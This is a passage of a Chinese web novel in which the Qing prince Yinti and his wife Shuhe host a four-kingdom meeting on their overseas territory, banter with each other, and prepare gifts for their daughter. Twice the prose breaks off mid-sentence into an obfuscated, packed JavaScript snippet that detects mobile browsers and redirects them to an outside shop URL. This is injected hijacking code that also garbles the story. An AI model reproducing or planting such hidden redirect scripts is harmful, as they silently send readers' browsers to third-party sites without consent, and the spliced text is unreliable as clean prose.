听了索额图的提议,明珠挑眉一笑,赞同地点点头,对着身后一招手,“各就各位,准备——放!” “两位,威慑的差不多就够了,还要剩些炸石山呢。”达寿双手环胸冷眼睨着这一切,看差不多了才出声阻止。 “那就听达小将军的,停。” 明珠活动了一下手腕,比了个手势,身后发射炸弹的动作一停。 这边停了,居住区的烟花却没有停止,作为与民同乐的烟花,今天会放一整夜。 庭院中,舒禾心里面大致估算了一下时间,扭头对胤褆说:“尘埃落定,该发请柬了。” “让明珠去办。”胤褆捏着舒禾的把玩,不甚在意地说道。 看的舒禾无奈摇头,“你啊你,也就仗着明珠没有篡位的心思,要不然凭着你这什么都指使他去干的样,他迟早把你架空。” “明珠不敢,他最在意家族荣光,一丝一毫可能给家族蒙羞的举动他都不会干。 而一个在意家族的人,弱点太大了,这样的人我用着,可以说是十足十地放心。” 舒禾单手撑住石桌,饶有兴致地问胤褆对其他人的看法。 “那索额图呢?” 胤褆想了一下,“他啊,在乎权势,只要太子还活着一天,他就会为我所用一天。” “太子?”舒禾重复了一遍这两个字,有所明悟的同时,也有点不可置信,“你明知道他心不在你这里,还用?” “他又不是你,心在不在我这里我管他呢,至于为什么用他……” 胤褆垂眸浅笑,“只有用他,而且是重用,太子才能真的相信我没有夺嫡的心思,并在无关紧要时,帮我一把。” “那也太冒险了,万一你用了他太子也不信你怎么办?” “那我也不亏,毕竟索额图是真的有本事,其他不说,就他那嘴皮子,放到外交上不知道能给咱们俩省多少事。” 胤褆这么一说,舒禾莫名觉得确实不错,毕竟据她所知,他们没有付索额图一分钱俸禄,跟着他们这两年,索额图都是自费吃喝,有时候可能还会外带掏钱干活。 呃……越想越心虚怎么办? 对此,舒禾的做法是果断不想,只要她不再想,那么她就可以当这件事不存在。 一阵风吹过,舒禾突然打了个寒颤,偏头看向眼神有些涣散的胤褆,提议:“时间不早了,回吧。” “我抱你。” “不……”后边一个用字还没有说出口,一阵腾空感袭来,她已经被胤褆抱了起来。 事已至此,再反对也没有意义,舒禾抬手环住胤褆的脖子,歪头靠在胤褆肩膀上,含糊道:“就近歇息。” “好。” 胤褆迈步朝正院两人的卧房走去,一路走来,碰见的人并不多,除几个守夜的,就是远远等着主子归来的贴身侍女。 对守在门口的秋雨扬扬下巴,示意她开门,又在进房后回头看了一眼,示意秋雨几人不必进去。 房门在身后缓缓关闭,就着室内昏黄的烛火走到床侧,弯腰将怀里面的人放到床上,大手抚上舒禾的侧脸,摩擦着询问道:“可以吗?” 舒禾半睁开眼睛,明知故问,“可以什么?” “给哈拉添个弟弟或妹妹。” “呵——” 见舒禾笑了,胤褆脸上也露出一抹笑,“你同意……” “不同意,”不等胤褆失望,舒禾话锋一转,“要弟弟妹妹不行,但体验一下其中过程还是可以的。” 胤褆眼睛一亮,起身一边脱衣服一边保证道:“舒禾放心,我一定会让你舒服的!” 至于孩子什么的,不要就不要吧,反正他已经有女儿了,算是给了额娘和皇阿玛一个交代,接下来他追求自己的幸福也没错。 “阿嚏!阿嚏!” 远在异国他乡的哈拉突然打了两个喷嚏,可把照顾她的惠妃急个半死,慌里慌张地询问:“哈拉,除了打喷嚏,还有其他什么难受的感觉吗?” 问完又觉得哈拉一个小孩说不清楚,扭头冲翠蕊交代道:“拿着本宫的牌子去请太医,挑个儿科好的过来。” “是。” “妈妈,我没事,就是突然鼻子养,打完喷嚏已经好了,不用请太医的。”哈拉拉着惠妃的袖子认真道。 “觉得没事也看看,这春寒料峭的,刚参加完元宵晚宴,指不定就有什么潜藏着呢,看一下,让妈妈放心好不好?” 哈拉抿了抿唇,委委屈屈地应道:“好哦。” “乖~” 哈拉萎靡不过一瞬,又很快恢复过来,拉着惠妃的袖口问道:“妈妈,我阿玛额娘什么时候能回来啊?” 听孩子问阿玛额娘,惠妃在心里面把那不成器的儿子骂了个狗血淋头才开口小心翼翼地编理由继续哄小哈利,要问为什么不骂舒禾不回来。 惠妃冷笑,她生的儿子她清楚,这一看就是胤褆不想回来,要是想回来,十个舒禾在那边拉着都能回来,反之,不想回来,十个舒禾也拉不回来。 更何况,哪有当娘的不想自己生的孩子的? 舒禾在外指不定怎么想哈拉呢,就是碍着胤褆没有办法罢了,想到这里,惠妃再次骂道:作孽玩意,自己走就得了,还带着舒禾一起走,搞得孩子小小年纪就只见过画像中的额娘。 “啊切!啊切——” 刚结束一轮,舒禾此刻正慵懒地靠在枕头上缓神,听到胤褆一连串的喷嚏声,懒懒地打了个哈欠,“是不是在外边吹久了,想生病了?” “不至于吧?”胤褆一脸的怀疑,他这身材板大冬天的冷水澡都洗过,因为吹那么一会风生病? “实在不行叫太医过来给你看看,有病治病没病预防。” 想到太医开的那些苦汁子,胤褆打了个寒颤,连连摆手,“我没事,刚才打喷嚏估摸着是有人在背后念叨我了,不说我了,水备好了,我抱你去洗漱。” “行。” 舒禾张开手顺从地靠进胤褆怀里面,闭上眼睛任由胤褆忙活着收拾残局。 洗漱完后回到卧房,方才一团凌乱的被褥已经被换过了,舒适的环境无疑加剧了睡意,舒禾几乎是躺下就睡。 反观胤褆,一股子精神劲,还想和舒禾感叹一下他们这一路走来的不容易,结果一扭头就对上了一张恬静的睡脸。 咽下即将到口的话,撑起身子在舒禾脸上亲了一口,又帮两人掖了掖被子,也随之陷入了梦乡。 斗转星移,太阳东升,新一日很快到来,睡了个饱的两人穿戴整齐,骑上马就往边界处赶去。 路上,胤褆看着一身骑装的舒禾轻咳一声,莫名有种不敢直视的感觉。 “舒禾,边界的事不着急,乘马车去……” 舒禾不耐烦地打断胤褆的话,“你陪我一起坐马车?” 胤褆不吭声了,见他不吭声,舒禾无语地翻了个白眼,一扬马鞭,加速前进。 三天时间,两人带着护卫队赶到边界,明珠、索额图连带着达寿早已得到消息,在营地外等候多时,普一见到两人身影,就迎了上来。 “奴才给……” “行了,免礼。” 胤褆挥挥手免了众人的礼,翻身下马来到舒禾马前,对着舒禾伸出右手,“我扶你下来。” “嗯。” 胤褆牵着舒禾一路往营地中心走去,一边走一边听明珠汇报这三天的情况。 “郡王,这两天三国都曾派人过来,其中正对着咱们的 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“分好类,人头送回去,别送错喽。” 明珠沉默地看了一眼让把人头送回去的舒禾,又看看她身边的胤褆,他算是明白了,大阿哥这两口,都什么什么信男善女,而且都一样的虎。 应下两人的要求后,明珠往后退几步,把发挥现场留给了还有事情没说的索额图。 索额图见状,也不扭捏,上前两步,指着沙盘上石山的位置就道:“石山过大,即使有炸弹帮忙开拓,开发面积也不过寥寥,若想真的把那片地方整理出来,还需多派些人去。” 而他们领地,现在最缺的就是人。 胤褆微微颔首表示自己知道了,“若是没有其他事,就退下吧。” “是。” “达寿留下。” 原想先离开一会再回来找舒禾的达寿听到自己的名字,分分钟顿住脚步转身回到刚才所站的位置。 胤褆专门留下达寿不是为了叙旧,而是真的有事需要他去干。 “我与舒禾商量,半年后启程回大清,在此之前需要一个值得信得过的人先回去报信,舒禾向我推荐了你,留你下来,是问问你的意愿。” 说到回去,达寿自是没什么不愿意的,对着胤褆行了个军礼,“奴才没什么不愿意的,为郡王探路是奴才的荣幸。” “既如此,择日就启程吧。” “是!” 见两人事情说完了,舒禾站起身走到达寿面前,笑盈盈地问道:“二哥,要一起吃顿饭吗?” “荣幸之至。” “保清?” 胤褆起身走到舒禾身边弯腰牵住她的手,无可无不可地应道:“都听你的。” 两人都没有意见,舒禾就出去找秋雨拟菜单了,今天这顿可能是二哥回去前一起吃的最后一顿饭 ,怎么也要做些二哥喜欢吃的。 粘合剂走了,胤褆扫一眼跟自家福晋没什么相似之处的达寿,实在是提不起爱屋及乌的性质,懒懒地又坐回了原位。 胤褆不说话,达寿也没想没话找话,气氛一时间就这么僵持住了。 直到一刻钟后舒禾拟好菜单回来,两人脸上同时挂上招牌笑容,帐内气氛才恢复正常。 下面准备饭菜需要些时间,左右待着也是无聊,舒禾找出让秋雨准备好的牌九等打发时间好物,对着帐内其他两人发出邀请。 “要玩吗?” 看着桌上的牌九,胤褆眨眨眼,不想暴露自己不会玩的事实,索性提议道:“一直在帐内待着太过无趣,不如我打拳给你看?” “打拳?”抬手点点下巴,舒禾眼睛一转,“一个人打拳也没意思,不如定个彩头,你和我二哥切磋切磋,谁赢了谁拿彩头?” “好啊,那谁拿彩头?”胤褆一口答应下来,调侃地看向舒禾。 那眼神、那语气,很明显在说我们两个打拳给你看,你怎么也要吃点什么吧? 舒禾朝着胤褆瞪回去后,方才扭头对达寿道:“彩头我拿,谁赢了谁拿千两金。” “好!福晋大气,一出手就是千两金,不像爷,连百两银都拿不出来。” “……差不多得了。”还百两银都拿不出来,不知道还以为他这郡王当得多惨似的。 43.会面 胤褆耸耸肩,倒是不再说什么,只是那眼神戏就一直没停过,看的舒禾也是无奈,偏偏还不能呵止他闭眼,毕竟还要留着眼看路。 好在开始打拳后胤褆没再看他,要不然舒禾真不知道自己能不能忍住不抽他,说到抽人这事,她第一次抽人就是贡献给了胤褆,在这个大环境下,抽了胤褆,她还紧张了片刻。 之所以是片刻,是因为片刻后胤褆就眼睛亮晶晶地要求她再抽一下试试,那一瞬间,什么紧张、什么忐忑都没了,只剩无语。 以及对自己是不是摊上一个变态的担心,总感觉她用手扇上去,胤褆能捧着她手尝尝味道并要求再来一下。 咳,扯远了……在她回忆过往的这点子功夫中,打拳的两人已经分出了胜负。 作为胜者,胤褆正一脸高兴地冲着她挥手,被胤褆脸上的高兴感染,舒禾也不禁露出一抹笑。 胤褆翻身从比武台上下来,来到舒禾身边,自然而然地牵住舒禾的手,小声道:“除了彩头,我还想要点其他奖励。” “什么?你说迫不及待想要彩头了,好,秋霞,去拿银票。” “舒禾!” “嗯,我听得见,倒也不用叫那么大声。” “你这样迟早有一天会……” 舒禾偏头,“会怎么?” “会把我彻底惹生气,我生气了可不好哄。” “知道了,晚上给你奖励,现在、先让开,我二哥过来了。” 舒禾挣开胤褆的手,迎上垂头丧气走过来的达寿,笑盈盈道:“恭喜二哥,成功获得小彩头。” “这还有小彩头啊?” 舒禾点点头,井井有条地说道:“旁人设置彩头那都是设置前三甲,我这比赛连三个人都没有,自然不能设置三个,但是设个大小彩头还是可以的。” “强词夺理,哪有两个人不论输赢都有奖的,给郡王就行了,我这就算……” “我有钱、我乐意,至于那钱,你爱要不要,反正你不要我也就不要了,干脆用它打水漂好了!” “别别别,我要还不行嘛!”达寿心想:大不了用这钱寻摸几个宝石给舒禾送过去,怎么都比打水漂来的有用。 至于他为什么不怀疑舒禾话语的真假,自然是因为这事舒禾干过。 “明珠,你说,哪里位置又好又能不让他出现在福晋面前?” 因为有事汇报刚走过来的明珠:…… 不过无语归无语,回答还是得回答的,谁让人家比他地位高呢。 “回郡王,奴才认为,要说位置好,再好也好不过故土以及陪在家人身边。” 大清啊……胤褆眯着眼,心里面寻摸能把达寿弄到哪个部门去,余光瞥见秋霞捧着盒子回来了,随手从中拿出一张递给明珠,“回答不错,这银票赏你了。” 明珠颤颤巍巍地抬手接过银票,手垂下的瞬间没忍住掐了自己一下,嘶——疼,不是梦,他居然真从直郡王手里面拿到钱了,这可是这两年来头一遭啊! 不对不对,他来不是为了钱,而是过来说事的。 “郡王,边界线那边传来消息,其他国家的国王想要见您。” 他请柬还没送,那边就迫不及待了,真是……正中下怀啊! 胤褆对着明珠挥挥手示意他跟上,又对着舒禾指指营帐,示意他带着明珠过去一趟。 如此这般,进了帐方才问道:“见我?说去哪见了吗?” “说是希望将会面地点定在咱们领地内,最好能顺道参观参观咱们的风土人情。” “哦,准了。” “这一看就算想趁机打探虚实,放他们进来、是不是有点不妥?” “会面地点定在营帐,参观物件定为各式武器,表演曲目定为各式武器的运用。” 明珠抬头深深地看了胤褆一眼,敢情不是想要放虎进山,而是想要放虎进油锅啊,这一轮下来,其他不说,威慑效果一定是达到了的。 “对了,给纺织厂传信,做好的丝绸和副产品可以送过来了。” “您这是?” 胤褆像看傻子一样看着明珠,“当然是和他们交易了。” 那前面安排那么多硬核表演,是不同意交易就杀了的意思吗? 明珠此刻内心前所未有的茫然,胤褆属实是不按常理出牌,威慑和交易,这俩咋看都八辈子合不到一块,偏偏这位爷就想着一起弄了。 明珠都怀疑这次生意做完之后,后边还会不会有生意,以及其他国家提到他们,会不会就是——哦,那个野蛮地啊,我知道,咱们有一次交易就是被他们枪顶着头交易成功的…… “还不走吗?” “啊——这就走!” 脚步虚浮地回到自己的营帐,看着帐内等候的索额图,明珠悲从心来,面上瞬间涌现一抹苦色。 他这都是什么命啊,前半辈子为皇上出生入死、风光无限,谁不尊称一声明大人,和身为太子外叔祖父的索额图相比也是毫不逊色,还能时不时打擂台,输赢参半。 但后半辈子,被看中的皇子拉下朝堂,这也就算了,好歹这皇子看着是个心有城府的,也打算做出一番作为,他做一把谋士也未尝不可。 可是现在呢!和死对头共同办公,主子还越来越癫,眼瞅着是要背负骂名…… “喂!你不就是去禀告一声嘛,怎么回来这个脸色,直郡王突然暴毙了?” “不是,但比这个还严重点。” 索额图起到一半的身重新坐回去,“除直郡王暴毙,没大事,说说看。” 一刻钟后,听了明珠的叙述,索额图一脸地无语,“就这!就这?” “眼瞅着就要背负骂名了,你还……” 索额图忍无可忍地打断道:“你该不会以为你还有什么好名声吧?要知道你退出朝堂的罪名可是结党营私,那些史官估摸着已经在史书上把你骂出花了。” “但这不是换了个新地图嘛。” “对啊,换了个新地图,都没人认识你了,你要个好名声干什么?” “你就不想要好名声?” 索额图老老实实地摇头,“不想要,我想要的只有权势,更何况要说名声,在那些战俘被杀人头被送回去那一刻,就没有了。” 他想要的如果是名声,就不会为了圈钱买官卖官了。 “讲真的,名声真没权势好用。” 说到这里,索额图猛地顿住,明知道营帐没人,还是像做贼似的左右看看,然后悄声道:“而且我看直郡王那野心,早晚要把其他三个国家吞了,如果真吞了,还不是想要什么名声就有什么名声,洗白什么的,再简单不过。” “那如果没吞下呢?” “没吞,那坏名声也连累不到咱们身上啊,天塌了,高个顶着——” 看着索额图向上指的手指,明珠瞬间了然,这就是要让胤褆背锅的意思。 按照忠奴的思维来,那是自己被骂都不能连累主子,无奈,此刻帐内的两人纯然算不上忠奴,所以…… 两人对视一眼,一切尽在不言中。 半个月时间在紧赶慢赶中度过,很快就来到了四国会面那天,随着入场喊贺,一个接着一个国家的代表人入场。 胤褆携着舒禾站在暗处,看着对方带来的人,倏然道:“这些人都是打架的一把好手,若是赤手空拳打起来,一个打三个不是问题。” “哦?那跟火铳队的比如何?” “火铳队甩他十万八千里。” 舒禾耸肩,“那不就得了,这暗处都埋伏着拿火铳的人呢,量他们再厉害,也翻不出浪来。” 确实是翻不出浪来了,但是他看着很眼馋啊,这样的好手,要是能在他手底下干活该多好。 从胤褆的沉默中,舒禾也领悟出来什么,对视一眼,快速挪开。 “舒禾……” “……我让人安排。” “就知道舒禾对我最好了。” 舒禾低头掩饰住抽搐的嘴角,一把将被胤褆握在手中把玩的手抽出来,转身就走,再不走,她怕她忍不住出声怼人。 跟着胤褆这两年,其他什么没学会,但是那骨子倨傲劲和嘴毒劲她却是学了个十成十。 就这么说吧,除身边从小跟着的人,现在她身边就没有没被她损过的人,胤褆也不例外。 好几次她和胤褆吵着吵着都看见泪了,别误会,不是她,而是胤褆。 真哭假哭不知道,但确实有泪光。 今天其他三国的人入场,他们却并不是今天就和他们会面,会面时间定在三天后。 这三天,是定下的参观时间,由明珠、索额图还有她二哥代劳,一人带着一国代表人参观,她和胤褆并不出面。 说是慢待也好、自恃身份也罢,已经入了他们地盘的人,怎么也要守他们的规矩。 回到两人居住的营帐,舒禾理顺衣袍坐下,对跟着进来的秋雨招招手,耳语一阵,待确定秋雨理解了她的意思,方才摆摆手示意秋雨下去。 【你这手段,太过于浅显了,要在商场里面花钱买个深奥的吗?】 “管它深还是浅,有用不就行了,还有那个商场,我都懒得说你了宝石,我花那么多钱买东西,它连个售后都做不好,你要是再不升级升级,可就要失去我这唯一的顾客了。” 听舒禾强调似的加重‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049796|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一’这个身份,宝石歪头,【商场里面售卖的东西走在时间点科技最前沿,只要你买,照本宣科就能有成果,不用花钱研究、也不用找人打探,这还不够吗?】 “够啊,但我不满的也不是科技方面,而是出主意这方面,每次花钱得出的计划,不是实施到一半因各种变故而不得不半道更改,就是根本没有可行性。 有时候我都怀疑出这主意的是个人机,连初中文凭都没有!” 【确实没有。】 “什么?” 【没有初中文凭。】 “那你卖我三百两金子!” 看着舒禾气急败坏的样子宝石再次强调,【定价不是我定的。】 “呵呵,从今天开始,我再也不会在商场里面买任何一个计划!” 【为什么不是所有东西。】 “我又不是傻,因为一个不行,就选择性忽视其他好东西。” 舒禾深呼吸几次,平复了一下糟糕的心情,确定心情恢复入常后,方才问道:“你什么时候回去?” 【你们半年后回去,我提前三个月走就行。】 “那你回去时帮我给哈拉捎点东西。” 【你不害怕暴露吗?】 “哈拉有阴阳眼,你就说你是孤魂野鬼,不小心飘到我这里,和我对上话,我从你口中得知你认识她,在你回去时,特意托你带了些东西回去。” 【……】 “你在我脑海里面打六个点什么意思?” 【无语的意思,】宝石如实交代,说完就舒禾脸色不好,当即提出告辞,【不说了,我去收录地图去了,拜!】 “哼,跑的倒是快。”舒禾冷哼一声,捻起毛笔沾了沾旁边的墨,开始拟礼单。 一晃半个时辰过去,帐帘被掀开,胤褆大步走进来走到舒禾身边坐下,看见她正在写的礼单,凑过去看了两眼,发现都是些好东西,不由得稀奇道:“这是给谁的礼单?” “哈拉。”东西送过去根本就瞒不了,索性舒禾也没想着瞒,至于怎么送过去,这个倒是不急着解释,胤褆的脑补会给她答案。 “让你二哥带回去?” 瞧,答案这不就来了。 “嗯,好不容易有人回去,不带点什么,我这当额娘的总归是心里面不得劲。” “这样啊,”胤褆撸起袖子,拿起另一根毛笔,又薅了张纸过来,“那我也准备点东西捎回去。” 两人并排坐着,笔下写着,舒禾先胤褆一步写完,将毛笔放好,拿起一旁的手绢一边擦手一边歪头往胤褆纸上瞅。 在看到他的礼单上是火铳、轮船模型、马鞭、鞍具、长枪……等物时,心里面那是一个佩服了得。 不过…… “你确定这些东西过得了海关?” “我手里面有免检文书,给你二哥带着就能过。” 免检文书啊——舒禾眼睛一转,内心某种想法蠢蠢欲动。 还不待她说出来与胤褆商量,胤褆就像是猜到什么似的,一毛笔杆子戳到她额头上,眼神警告,“想都别想,爷不想下半辈子都在宗人府里面过活。” “我的想法倒也不至于那么危险吧?”舒禾讪笑着反问。 “你带方子献上去皇阿玛会许你东西,但你若是奔着把实物献上去,并当场让他看效果把他吓得在众大臣面前失态,他非但不会记你的好,还会琢磨往后怎么折腾你。” “呃……皇阿玛在你眼里面就这形象?” “昂!”胤褆疑惑歪头,“不然还能是什么形象?” “我还以为会是高大威猛什么的。” “爱新觉罗家的人都差不多,以我类比,我清楚自己是个什么样的人,自然清楚他是个什么样的人。” “换言之,你是在告诉你和皇阿玛一样不可靠吗?” 实际上舒禾更想说的是滥情,但这两个字吧,说出来总给人一种回不到过去的感觉,就换成了‘不靠谱’三个字。 “不一样,”胤褆没想到说个话还能把自己坑进去,拉着舒禾的手放到脸上蹭了蹭,认真逼问道:“你看着我的脸,真觉得我不可靠吗?” “品性这玩意,光看是看不出来的。” “不是……舒禾你相信我,我和皇阿玛不一样,我真的很可靠,在这一点上,我不像他,我、我像额娘! 对,没错,就是像额娘。” 舒禾单手托腮,看着胤褆着急的模样,放在胤褆脸上的手微动,笑着捏了捏他的脸,“好了,相信你。” “直觉告诉我,你并没有相信我的话。” 什么直觉这么准……呸,她是说不靠谱,这不纯纯挑拨离间嘛! 44.怼怼二人组 为了不继续这个话题,舒禾强装看不见胤褆的脸色,轻咳一声,光明正大地转移话题,“不说这个了,说说看你准备给额娘带什么回去吧?” “还需要给额娘带吗?” “不需要吗?” 眼神碰撞的瞬间,舒禾懂了,这家伙是根本就没想到自己还有个额娘,估摸着不是看她在准备礼单,连自己有个女儿都忘了。 看出舒禾眼神中的无语,胤褆强撑着挽尊道:“我就是一时没想起来而已,再等等,你不提我也能想起来。” “应该……可以的吧?” 舒禾面无表情盯盯,胤褆瞬间败下阵来,懊恼地抬手捂住额头,“好吧,我不可以,但是咱们两个好像谁都没有想过要给皇阿玛送东西,所以半斤八两,谁都别嘲笑谁。” “……成交,接下来你准备给皇阿玛的礼单,我准备给额娘的礼单,有另想的添的东西,说一声直接添上。” “行。” 两人卯足劲干活,不过一刻钟就把给惠妃和康熙的礼单给弄了出来。 当然,不排除给他们两个送礼需要注意的事项太多,许多东西不好直接往上添的原因。 放下手中的毛笔,站起身伸个懒腰,舒禾方才觉得自己活过来了。 看一眼帐中的钟表,十一点半,差不多是吃午饭的时候了,摸摸扁扁的肚子,转身对胤褆伸出左手,发出约饭邀请。 “要一起吃饭吗?” “当然!”胤褆抓着舒禾的手借力站起身,顺势搂住舒禾的腰,整个人挂在舒禾身上,亲昵地蹭蹭,“我不跟你一起吃,谁还能跟你一起吃?” 舒禾拖着好大一只胤褆朝外走去,一边走一边道:“那可就多了,我现在什么身份啊,想找人吃饭还能找不着个人?” “比如呢?” “我二哥、秋雨……再大胆一点,直接把明珠和索额图叫过来凑一桌。” “噗嗤——你可真敢想,带他们两个一起吃饭,怕不是想吃火药味。” “从今天接待外客他们两个的相处模式上看,火药味应该不至于……” 伴随着舒禾的话,还有胤褆的反驳声,声音渐行渐远,帐内白天也不曾熄灭的蜡烛缓缓燃尽。 眨眼间,时间来到正式会面那天,舒禾穿着繁杂的明制服装,看着镜中自己相较于平时眼了不少的妆容,缓缓将最后一只簪子插上。 自此,一切准备就绪。 抬手伸向一边,淡淡道:“秋霞,走。” “福晋,这边来,小心。”秋霞护着舒禾起身走出帐内,对守在帐外的胤褆行了个礼,自觉退守一边。 再说胤褆呢,一身和舒禾身上衣服适配的朝服,眼中满是惊艳之色,充分展示了什么叫你稍稍打扮,我就会惊艳的模样。 看着胤褆满眼惊艳的样子,舒禾笑着绕着他转了一圈,最后停在他面前笑盈盈伸出一只手,“该入场了。” “呼——走!” 两人相携着入场的模样,着实看呆了不少了,其中那些外国女眷尤甚,有些胆大的,已经开始在下面小声说起了话。 言语中的意思不外乎这衣服不错,我也要有。 至于穿上好不好看,这些他们根本就不在乎,就像古往今来所有皇帝一样,不会在乎自己的土地是否增加,但会在乎自己的土地是否减少,关键不在于明面上的好看,而是拥有。 一场会面,真正有心思聊交易的没几个,几乎全部都是各怀鬼胎。 一番推杯换盏、欣赏‘歌舞’,场中之人皆有些醉意上头,有那呈着酒意上头的人端着酒杯站起来,用蹩脚的汉语问道:“大清的……嗯,那谁,你衣服,很好,怎么做?” 没人搭理他,不管是舒禾还是胤褆都自认不是那谁,他们两个有名有姓、有身份有地位,但凡来了这里的人都该知道他们两个。 现在这人到底是怎么个意思不好说,是不是故意也不好说,但他们两个要是搭理了,那无疑是自降身份。 “砰!大清地……” 胤褆烦躁地皱了皱眉,微一抬手,索额图立马会意,站起身高声呵斥道:“放肆,宴会之时公然挑衅,如此不看重我们主子,是想开战?” 闻言,坐在那人身边的同伴和站起来那人同时身体一僵,旋即同伴站起身,按着那人坐下,一阵叽里呱啦的解释,索额图听懂了,但仍是装作没听懂。 “来人,给我把他们拖……” “不要!不要……嗯,我们是客人,你们不能这样,不礼貌。” “这不是能说汉语嘛,”索额图用小声但所有人都能听到的音量道:“果然啊,还是这棒子快打到身上的时候能激发潜力。” 坐下那人面色一僵,果断一扔酒杯趴在桌上装醉,至于落在身上嘲弄的目光,只要他看不见,他就可以当做什么都没有发生! 成功怼下去一个,索额图环视一圈,那眼神就差把还有谁具象化了。 一来二去,还真有那禁不起激的跳出来和索额图对喷。 夫妻两个坐在全场最高的地方,看着索额图一人奋战全场看的那叫一个津津有味。 舒禾手腕下垂,提前藏在袖袋中的瓜子划出,捏在手心偷嗑的同时,不忘用手肘捣捣胤褆,“我这有瓜子,你吃吗?” “吃,来点。” “给。”偷渡瓜子时,舒禾也不忘目视前方,唯恐错漏了一点子剧情。 索额图这喷人的节奏太快,稍一走神可能就错拍了。 看着看着,胤褆情不自禁的发出感慨,“啧,你说这索额图是怎么把这毒舌的本事藏了那么多年的?” 听了胤褆的疑惑,舒禾想也不想就脱口道:“之前没发挥场地的原因吧。” “哎哎哎—你看到了吗?他们两个快打起来了。” 胤褆抬手扶住舒禾的腰帮她稳住身形的同时,不忘回应她刚才说的话。 “看到了,两只眼睛都看到了,还看到明珠准备上了。” “明珠他嘴上功夫应该不行吧?” 仿佛是为了证明舒禾所说的错误,明珠一上场就火力全开。 “哟呵,这不是那被火铳吓得腿软瘫倒在地的西婪国代表嘛,怎么,今天这是换了个胆子,重新上场了? 哎?这位……怎么和前两天裤子突然湿了的那个有点像? 对了!你是那个谁来着,唉~年纪大了,想不起来了,依稀记得好像是被炸石山节目吓晕过去那位……” 舒禾私底下戳戳这两天陪她一起晃荡在各个营帐中间的胤褆,真诚发问,“为什么明珠所说的这些事咱俩一个都没有听过?” 多有趣的事啊,她都不敢想象她要是在现场,她内心会笑得多猖狂。 “不知道啊,我要是知道,你不也知道了嘛。”胤褆无奈耸肩,他们两个一天天焦不离孟、孟不离焦的,有点什么,地方全知道,问他,他能知道才怪了。 “确实。” 舒禾拿起酒杯抿口酒,不再继续和胤褆说话,而是专心看底下的表演。 成功失去所有目光的胤褆:不是,就这么水灵灵的把我晾在一边看热闹去了?一丝眼神都不给?亲爱的你不要太离谱好吧! 因着心里面郁闷,胤褆接下来干脆使劲喝闷酒,外加死盯索额图和明珠两人,他倒要仔细观察观察这两人能说出什么花! 观察了一会,胤褆不得不承认,这两人有说书的天赋。 一场宴会,权力地位最高的两人全场光顾着嗑瓜子看好戏了,凭借两己之力把索额图和明珠两人给凸显了出来。 宴会结束,看着被五颜六色头发包围的明珠,再看看派人拿了丝绸过来,耍嘴皮卖货的索额图。 不善交际、只想开打的两位掌权者,对视一眼,默默走出了临时搭起来留做宴会场所的大帐。 深吸一口外边的新鲜空气,舒禾由衷道:“这场合是真不适合咱们两个,还好有索额图和明珠在。” “没错,我还是比较适合打仗之类的,让我在里面待着和他们交流,真是想想都觉得难受死了。” 一路人的两人对视一眼,同时幽幽地叹了一口气。 不远不近跟着两人并听到全程对话的秋霞:这对话,放眼整个大清,不对,全世界都找不出像他们家这两个主子这样的尊贵人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057292|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧? 不过她家主子从小就能窥见其躲懒且不喜交际的性子,这大阿哥之前可是半点苗头没露,现在这样,该说是一个被窝睡不出两种人还是说大阿哥被她家福晋传染了? 放飞自我二人组说完各自的感想后,分分钟回到营帐投入到各自的工作中。 要问是不是自愿,端看两人紧皱的眉毛就能窥见一两分。 “这半年来花销真是越来越大了,保清,再不开源,咱们就要啃窝窝头了。” 胤褆坐在营帐另一侧,听了舒禾的抱怨,无所谓道:“啃呗,对了,窝窝头好吃吗?” “野菜好吃它就好吃。” “野菜?那算了,等真的到那一步,我打猎给你吃。” “嗤——现在还没到那一步我就想吃你打的猎物了怎么办?” “走。” “去哪?” 胤褆一步收拾桌上的折子一边道:“不是想吃我打的猎物嘛,旁边山上走一趟,晚上就让你吃上。” “你这行动力,是这个!”舒禾对着竖起大拇指,随后也麻利地把桌上账本一收,去内帐换衣服去了。 胤褆那一身衣服打猎还行,她这一身宴会穿的衣服别说打猎,骑马都累赘,还有这头上的簪子,跑掉一个得大几百两。 如今开源还没有见头,她这边还是省着点的好。 待到舒禾一身骑装走出来,就发现胤褆不知道去哪也换了身骑装,那身骑装还是和她身上这套颜色相近的。 “你这……骑装哪来的?” “李阔找的,爷也不知道。” 舒禾抬手按住抽抽地嘴角,望着无意识自称爷的某人,心里面叹了一口气,这人估摸着还不知道他新养成了一撒谎就会改变自称的习惯。 所以什么不知道全是假的,估摸着是特意找李阔准备的。 移步走到胤褆身边,理了理他被发冠束起来的头发,低声道:“以后不用麻烦李阔了,我这边吩咐一声,以后咱们两个做衣服的布料用同一匹布。” “哼,早该如此。”胤褆傲娇地一扬下巴,眼中满是得意。 舒禾低头盯着地面,大喇喇地翻了个白眼,还早该如此,可拉倒吧,自己用的布料什么档次不知道吗? 习惯使然,舒禾更喜欢用那些偏飘逸且穿起来柔软舒身的布料做衣服,胤褆则是更喜欢穿起来干脆利落的布料做衣服。 喜好差异在那摆着,他们两个根本就穿不到一块去,今天就这么答应下来,只希望胤褆拿到新衣服时不会后悔。 胤褆会后悔吗?他当然不会后悔,甚至在半个月后拿到新裁剪的衣服就迫不及待地穿上了身,向舒禾说了一声就一溜烟地跑出来炫耀去了。 “这脾气,越来越像小孩了。” 